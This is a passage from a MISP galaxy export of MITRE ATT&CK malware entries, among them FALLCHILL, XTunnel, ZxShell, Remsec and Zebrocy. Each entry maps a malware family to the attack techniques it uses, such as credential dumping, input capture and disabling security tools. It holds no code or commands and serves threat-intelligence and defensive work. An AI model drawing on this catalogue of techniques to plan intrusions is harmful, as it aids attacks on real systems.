XAgentOSX - S0161 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
Felismus - S0171
[Felismus](https://attack.mitre.org/software/S0171) is a modular backdoor that has been used by [Sowbug](https://attack.mitre.org/groups/G0054). (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)
The tag is: misp-galaxy:mitre-malware="Felismus - S0171"
Felismus - S0171 is also known as:
-
Felismus
Felismus - S0171 has relationships with:
-
similar: misp-galaxy:malpedia="Felismus" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
Links |
https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware |
XTunnel - S0117
[XTunnel](https://attack.mitre.org/software/S0117) a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by [APT28](https://attack.mitre.org/groups/G0007) during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)
The tag is: misp-galaxy:mitre-malware="XTunnel - S0117"
XTunnel - S0117 is also known as:
-
XTunnel
-
Trojan.Shunnael
-
X-Tunnel
-
XAPS
XTunnel - S0117 has relationships with:
-
similar: misp-galaxy:tool="X-Tunnel" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="X-Tunnel" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
FALLCHILL - S0181
[FALLCHILL](https://attack.mitre.org/software/S0181) is a RAT that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)
The tag is: misp-galaxy:mitre-malware="FALLCHILL - S0181"
FALLCHILL - S0181 is also known as:
-
FALLCHILL
FALLCHILL - S0181 has relationships with:
-
similar: misp-galaxy:rat="FALLCHILL" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
Links |
Nidiran - S0118
[Nidiran](https://attack.mitre.org/software/S0118) is a custom backdoor developed and used by [Suckfly](https://attack.mitre.org/groups/G0039). It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)
The tag is: misp-galaxy:mitre-malware="Nidiran - S0118"
Nidiran - S0118 is also known as:
-
Nidiran
-
Backdoor.Nidiran
Nidiran - S0118 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates |
CORALDECK - S0212
[CORALDECK](https://attack.mitre.org/software/S0212) is an exfiltration tool used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)
The tag is: misp-galaxy:mitre-malware="CORALDECK - S0212"
CORALDECK - S0212 is also known as:
-
CORALDECK
CORALDECK - S0212 has relationships with:
-
similar: misp-galaxy:tool="CORALDECK" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
Umbreon - S0221
A Linux rootkit that provides backdoor access and hides from defenders.
The tag is: misp-galaxy:mitre-malware="Umbreon - S0221"
Umbreon - S0221 is also known as:
-
Umbreon
Umbreon - S0221 has relationships with:
-
similar: misp-galaxy:tool="Umbreon" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Umbreon" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Port Knocking - T1205" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
Links |
DOGCALL - S0213
[DOGCALL](https://attack.mitre.org/software/S0213) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) that has been used to target South Korean government and military organizations in 2017. It is typically dropped using a Hangul Word Processor (HWP) exploit. (Citation: FireEye APT37 Feb 2018)
The tag is: misp-galaxy:mitre-malware="DOGCALL - S0213"
DOGCALL - S0213 is also known as:
-
DOGCALL
DOGCALL - S0213 has relationships with:
-
similar: misp-galaxy:tool="DOGCALL" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
HummingWhale - S0321
[HummingWhale](https://attack.mitre.org/software/S0321) is an Android malware family that performs ad fraud. (Citation: ArsTechnica-HummingWhale)
The tag is: misp-galaxy:mitre-malware="HummingWhale - S0321"
HummingWhale - S0321 is also known as:
-
HummingWhale
HummingWhale - S0321 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"
Links |
WireLurker - S0312
[WireLurker](https://attack.mitre.org/software/S0312) is a family of macOS malware that targets iOS devices connected over USB. (Citation: PaloAlto-WireLurker)
The tag is: misp-galaxy:mitre-malware="WireLurker - S0312"
WireLurker - S0312 is also known as:
-
WireLurker
WireLurker - S0312 has relationships with:
-
similar: misp-galaxy:malpedia="WireLurker (OS X)" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
Links |
https://researchcenter.paloaltonetworks.com/2014/11/wirelurker-new-era-os-x-ios-malware/ |
RATANKBA - S0241
[RATANKBA](https://attack.mitre.org/software/S0241) is a remote controller tool used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [RATANKBA](https://attack.mitre.org/software/S0241) has been used in attacks targeting financial institutions in Poland, Mexico, Uruguay, the United Kingdom, and Chile. It was also seen used against organizations related to telecommunications, management consulting, information technology, insurance, aviation, and education. [RATANKBA](https://attack.mitre.org/software/S0241) has a graphical user interface to allow the attacker to issue jobs to perform on the infected machines. (Citation: Lazarus RATANKBA) (Citation: RATANKBA)
The tag is: misp-galaxy:mitre-malware="RATANKBA - S0241"
RATANKBA - S0241 is also known as:
-
RATANKBA
RATANKBA - S0241 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
Links |
HAPPYWORK - S0214
[HAPPYWORK](https://attack.mitre.org/software/S0214) is a downloader used by [APT37](https://attack.mitre.org/groups/G0067) to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)
The tag is: misp-galaxy:mitre-malware="HAPPYWORK - S0214"
HAPPYWORK - S0214 is also known as:
-
HAPPYWORK
HAPPYWORK - S0214 has relationships with:
-
similar: misp-galaxy:tool="HAPPYWORK" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
StreamEx - S0142
[StreamEx](https://attack.mitre.org/software/S0142) is a malware family that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009) since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)
The tag is: misp-galaxy:mitre-malware="StreamEx - S0142"
StreamEx - S0142 is also known as:
-
StreamEx
StreamEx - S0142 has relationships with:
-
similar: misp-galaxy:tool="StreamEx" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar |
Pisloader - S0124
[Pisloader](https://attack.mitre.org/software/S0124) is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by [APT18](https://attack.mitre.org/groups/G0026) and is similar to another malware family, [HTTPBrowser](https://attack.mitre.org/software/S0070), that has been used by the group. (Citation: Palo Alto DNS Requests)
The tag is: misp-galaxy:mitre-malware="Pisloader - S0124"
Pisloader - S0124 is also known as:
-
Pisloader
Pisloader - S0124 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
Links |
ZxShell - S0412
[ZxShell](https://attack.mitre.org/software/S0412) is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014 )
The tag is: misp-galaxy:mitre-malware="ZxShell - S0412"
ZxShell - S0412 is also known as:
-
ZxShell
-
Sensocode
ZxShell - S0412 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Endpoint Denial of Service - T1499" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
Links |
KARAE - S0215
[KARAE](https://attack.mitre.org/software/S0215) is a backdoor typically used by [APT37](https://attack.mitre.org/groups/G0067) as first-stage malware. (Citation: FireEye APT37 Feb 2018)
The tag is: misp-galaxy:mitre-malware="KARAE - S0215"
KARAE - S0215 is also known as:
-
KARAE
KARAE - S0215 has relationships with:
-
similar: misp-galaxy:tool="KARAE" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf |
EvilGrab - S0152
[EvilGrab](https://attack.mitre.org/software/S0152) is a malware family with common reconnaissance capabilities. It has been deployed by [menuPass](https://attack.mitre.org/groups/G0045) via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)
The tag is: misp-galaxy:mitre-malware="EvilGrab - S0152"
EvilGrab - S0152 is also known as:
-
EvilGrab
EvilGrab - S0152 has relationships with:
-
similar: misp-galaxy:tool="EvilGrab" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="EvilGrab" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf |
Remsec - S0125
[Remsec](https://attack.mitre.org/software/S0125) is a modular backdoor that has been used by [Strider](https://attack.mitre.org/groups/G0041) and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)
The tag is: misp-galaxy:mitre-malware="Remsec - S0125"
Remsec - S0125 is also known as:
-
Remsec
-
Backdoor.Remsec
-
ProjectSauron
Remsec - S0125 has relationships with:
-
similar: misp-galaxy:malpedia="Remsec" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1174" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets |
Zebrocy - S0251
[Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, and VB.NET. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)
The tag is: misp-galaxy:mitre-malware="Zebrocy - S0251"
Zebrocy - S0251 is also known as:
-
Zebrocy
-
Zekapab
Zebrocy - S0251 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
